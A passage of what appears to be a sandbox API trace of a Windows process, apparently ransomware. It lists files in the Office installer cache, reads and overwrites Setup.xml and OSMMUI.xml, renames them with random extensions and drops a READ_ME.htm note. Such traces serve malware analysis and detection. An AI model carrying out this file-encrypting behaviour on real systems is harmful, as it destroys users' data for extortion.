ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.888] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.888] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x923540e0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x923540e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd1f49440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x41ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.cab", cAlternateFileName="")) returned 1 [0134.889] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x72b275a0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x72b275a0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x12b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.msi", cAlternateFileName="")) returned 1 [0134.889] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1ef3140, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xc1ef3140, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x463, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.xml", cAlternateFileName="")) returned 1 [0134.889] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4244a820, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4244a820, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f49440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0134.889] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4244a820, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4244a820, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f49440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0134.889] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.889] SetErrorMode (uMode=0x0) returned 0x1 [0134.889] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0134.890] SetErrorMode (uMode=0x1) returned 0x0 [0134.890] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.890] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd1f24280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f4a3e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f4a3e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.890] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x923540e0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x923540e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd1f49440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x41ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.cab", cAlternateFileName="")) returned 1 [0134.890] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x72b275a0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x72b275a0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x12b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.msi", cAlternateFileName="")) returned 1 [0134.890] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1ef3140, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xc1ef3140, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x463, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.xml", cAlternateFileName="")) returned 1 [0134.890] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4244a820, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4244a820, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f49440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0134.891] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4244a820, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4244a820, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f49440, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0134.891] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.891] SetErrorMode (uMode=0x0) returned 0x1 [0134.891] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml", lpFilePart=0x0) returned 0x49 [0134.891] SetErrorMode (uMode=0x1) returned 0x0 [0134.891] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\osmmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.892] GetFileType (hFile=0x1d0) returned 0x1 [0134.892] SetErrorMode (uMode=0x0) returned 0x1 [0134.892] GetFileType (hFile=0x1d0) returned 0x1 [0134.892] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x463 [0134.892] ReadFile (in: hFile=0x1d0, lpBuffer=0x29c7228, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29c7228*, lpNumberOfBytesRead=0x21d4d8*=0x463, lpOverlapped=0x0) returned 1 [0134.961] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml", lpFilePart=0x0) returned 0x49 [0134.969] SetErrorMode (uMode=0x1) returned 0x0 [0134.969] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\osmmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.973] GetFileType (hFile=0x1d0) returned 0x1 [0134.974] SetErrorMode (uMode=0x0) returned 0x1 [0134.974] GetFileType (hFile=0x1d0) returned 0x1 [0134.974] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a96b0*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x28a96b0*, lpNumberOfBytesWritten=0x21d478*=0x470, lpOverlapped=0x0) returned 1 [0134.982] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml", lpFilePart=0x0) returned 0x49 [0134.982] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml.yufkg1", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml.yufkg1", lpFilePart=0x0) returned 0x50 [0134.983] SetErrorMode (uMode=0x1) returned 0x0 [0134.983] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\osmmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc1ef3140, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xc1ef3140, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0x4d0bb8c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x470)) returned 1 [0134.983] SetErrorMode (uMode=0x0) returned 0x1 [0134.983] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\osmmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\OSMMUI.xml.yufkg1" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\osmmui.xml.yufkg1")) returned 1 [0134.986] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.986] SetErrorMode (uMode=0x1) returned 0x0 [0134.986] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.998] GetFileType (hFile=0x1d0) returned 0x1 [0134.998] SetErrorMode (uMode=0x0) returned 0x1 [0134.998] GetFileType (hFile=0x1d0) returned 0x1 [0134.999] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x7f6 [0134.999] ReadFile (in: hFile=0x1d0, lpBuffer=0x28abb10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28abb10*, lpNumberOfBytesRead=0x21d4d8*=0x7f6, lpOverlapped=0x0) returned 1 [0135.097] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0135.097] SetErrorMode (uMode=0x1) returned 0x0 [0135.097] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0135.099] GetFileType (hFile=0x1d0) returned 0x1 [0135.099] SetErrorMode (uMode=0x0) returned 0x1 [0135.099] GetFileType (hFile=0x1d0) returned 0x1 [0135.099] WriteFile (in: hFile=0x1d0, lpBuffer=0x298f4a8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x298f4a8*, lpNumberOfBytesWritten=0x21d478*=0x800, lpOverlapped=0x0) returned 1 [0135.101] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0135.101] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml.0is9v9", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml.0is9v9", lpFilePart=0x0) returned 0x4f [0135.101] SetErrorMode (uMode=0x1) returned 0x0 [0135.101] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4244a820, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4244a820, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4d1ec3c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0135.101] SetErrorMode (uMode=0x0) returned 0x1 [0135.101] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\Setup.xml.0is9v9" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\setup.xml.0is9v9")) returned 1 [0135.102] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0135.102] SetErrorMode (uMode=0x1) returned 0x0 [0135.102] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00E1-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-00e1-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0135.103] GetFileType (hFile=0x1d0) returned 0x1 [0135.103] SetErrorMode (uMode=0x0) returned 0x1 [0135.103] GetFileType (hFile=0x1d0) returned 0x1 [0135.103] WriteFile (in: hFile=0x1d0, lpBuffer=0x29942e8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29942e8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0135.105] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0135.105] SetErrorMode (uMode=0x1) returned 0x0 [0135.105] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0135.106] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.106] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x912ef470, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x912ef470, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd3254c10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x408e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.cab", cAlternateFileName="")) returned 1 [0135.106] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e2413e0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6e2413e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.msi", cAlternateFileName="")) returned 1 [0135.106] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdcfb7a70, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xdcfb7a70, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.xml", cAlternateFileName="")) returned 1 [0135.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42508f00, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42508f00, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0135.107] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42508f00, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42508f00, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0135.107] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0135.107] SetErrorMode (uMode=0x0) returned 0x1 [0135.107] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0135.107] SetErrorMode (uMode=0x1) returned 0x0 [0135.108] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0135.108] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd32c7800, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.108] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x912ef470, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x912ef470, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd3254c10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x408e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.cab", cAlternateFileName="")) returned 1 [0135.108] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e2413e0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6e2413e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.msi", cAlternateFileName="")) returned 1 [0135.108] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: 